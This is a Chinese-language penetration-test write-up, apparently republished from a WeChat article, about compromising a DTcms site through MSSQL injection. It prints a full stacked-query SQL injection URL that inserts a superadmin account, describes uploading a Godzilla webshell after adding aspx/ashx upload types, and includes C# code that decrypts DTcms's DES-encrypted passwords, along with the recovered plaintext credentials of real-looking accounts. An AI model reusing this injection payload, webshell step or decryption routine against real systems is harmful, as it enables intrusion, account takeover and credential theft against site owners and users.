在一次授权的攻防项目中，我和我的一个好兄弟在渗透过程中发现一个目标存在mssql注入，通过注入拿到了管理员的账号和密码
当时我和我的好兄弟高兴坏了，迫不及待的把拿到的数据进行解密（当时天真认为可以解密，马上getshell）由于是攻防演练，并且报告提交的越早分数就会越高，何况还是getshell
erui/E7B8D79CB1F8267E98411A1081B75FBDadmin/154A70BBAD1377B256671E16CAF430EDlchh/262BA2BFC886B171B5488CA6E9F25BB8
结果发现根本解不出，后来发现原来是加盐MD5,想着先把盐值找到或许就能有一线突破
最终找到的盐值和账号对应如下:erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZadmin/154A70BBAD1377B256671E16CAF430ED/42V8XZlchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84
当时我和我兄弟在这里卡了半天，甚至是去网上搜索加盐md5的破解，后面发现根本解不出来
第二天
思路一
思路二
尝试思路
全局搜索salt
INSERT [dbo].[dt_manager] ([id], [role_id], [role_type], [user_name], [password], [salt], [avatar], [real_name], [telephone], [email], [is_audit], [is_lock], [add_time]) VALUES (1, 1, 1, N'admin', N'87FA6AD6CBFDF3108E4DD6F47F5D04A4', N'24V0XZ', N'', N'超级管理员', N'13800138000', N'[email protected]', 0, 0, CAST(0x0000A73C00E1AC44 AS DateTime))SET IDENTITY_INSERT [dbo].[dt_manager] OFF插入payload如下:https://url?id=1;insert into dt_manager(role_id,role_type,father_id,user_name,password,salt,is_lock) values(1,1,0,'test','87FA6AD6CBFDF3108E4DD6F47F5D04A4','24V0XZ',0);-- +插入的账号为test 密码是admin888
登录账号
登录成功发现，权限为超级管理员，然后getshell（在某篇文章看到）文件上传类型添加aspx，ashx，然后上传相应的哥斯拉马，直连即可
最后我和我兄弟成功将这个站点拿下但是内心感觉还是空空的，先提交报告吧
第三天
.net基本知识
目前已有的数据
admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ
lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84
代码审计
ps:这里BLL.manager()中BLL是一个命名空间。我们可以通过BLL这个名字在DTcms.BLL文件夹中找到manager.cs
接着在manager类中的GetModel方法中，发现在登录的时候会先从数据库中获得这个用户的盐值，然后根据输入的密码与盐值调用DESEncrypt.Encrypt(password, salt)进行加密。后来知道了这里DESEncrypt是一个类，Encrypt是一个静态函数，所以可以直接调用
接着我们审计DESEncrypt中的Encrypt方法。在文件夹中搜索DESEncrypt,最终在DTcms.Common中找到了DESEncrypt类。加解密流程逻辑代码不需要细看，只需要知道就是传入密文和盐值调用Decrypt函数即可得到明文。
源码如下
using System;using System.Security.Cryptography;using System.Text;namespace DTcms.Common{/// <summary>/// DES加密/解密类。/// </summary>public class DESEncrypt{#region ========加密========/// <summary>/// 加密/// </summary>/// <param name="Text"></param>/// <returns></returns>public static string Encrypt(string Text){return Encrypt(Text, "DTcms");}/// <summary>/// 加密数据/// </summary>/// <param name="Text"></param>/// <param name="sKey"></param>/// <returns></returns>public static string Encrypt(string Text, string sKey){DESCryptoServiceProvider des = new DESCryptoServiceProvider();byte[] inputByteArray;inputByteArray = Encoding.Default.GetBytes(Text);des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));System.IO.MemoryStream ms = new System.IO.MemoryStream();CryptoStream cs = new CryptoStream(ms, des.CreateEncryptor(), CryptoStreamMode.Write);cs.Write(inputByteArray, 0, inputByteArray.Length);cs.FlushFinalBlock();StringBuilder ret = new StringBuilder();foreach (byte b in ms.ToArray()){ret.AppendFormat("{0:X2}", b);}return ret.ToString();}#endregion#region ========解密========/// <summary>/// 解密/// </summary>/// <param name="Text"></param>/// <returns></returns>public static string Decrypt(string Text){return Decrypt(Text, "DTcms");}/// <summary>/// 解密数据/// </summary>/// <param name="Text"></param>/// <param name="sKey"></param>/// <returns></returns>public static string Decrypt(string Text, string sKey){DESCryptoServiceProvider des = new DESCryptoServiceProvider();int len;len = Text.Length / 2;byte[] inputByteArray = new byte[len];int x, i;for (x = 0; x < len; x++){i = Convert.ToInt32(Text.Substring(x * 2, 2), 16);inputByteArray[x] = (byte)i;}des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));System.IO.MemoryStream ms = new System.IO.MemoryStream();CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);cs.Write(inputByteArray, 0, inputByteArray.Length);cs.FlushFinalBlock();return Encoding.Default.GetString(ms.ToArray());}#endregion}}
payload
using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Threading.Tasks;using System.Security.Cryptography;using System.Text;using System.Web;namespace ConsoleApp1{class Program{public static string Decrypt(string Text, string sKey){DESCryptoServiceProvider des = new DESCryptoServiceProvider();int len;len = Text.Length / 2;byte[] inputByteArray = new byte[len];int x, i;for (x = 0; x < len; x++){i = Convert.ToInt32(Text.Substring(x * 2, 2), 16);inputByteArray[x] = (byte)i;}des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));System.IO.MemoryStream ms = new System.IO.MemoryStream();CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);cs.Write(inputByteArray, 0, inputByteArray.Length);cs.FlushFinalBlock();return Encoding.Default.GetString(ms.ToArray());}static void Main(string[] args){System.Console.WriteLine(Program.Decrypt("E7B8D79CB1F8267E98411A1081B75FBD", "24V0XZ"));System.Console.WriteLine(Program.Decrypt("154A70BBAD1377B256671E16CAF430ED", "42V8XZ"));System.Console.WriteLine(Program.Decrypt("262BA2BFC886B171B5488CA6E9F25BB8", "J6ZT84"));}}}
erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ lina790419admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ asdfghjk1lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84 sunlue2009
总结
好文推荐
文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjE0NDc5OQ==&mid=2247516712&idx=1&sn=cb08ec12cae98afa3420cda4e56f92c9&chksm=c3085158f47fd84ecac0d444744dd0c9982864c57268df28c5e5a2d1853a104b33ed57fc1c24#rd
如有侵权请联系:admin#unsafe.sh
如有侵权请联系:admin#unsafe.sh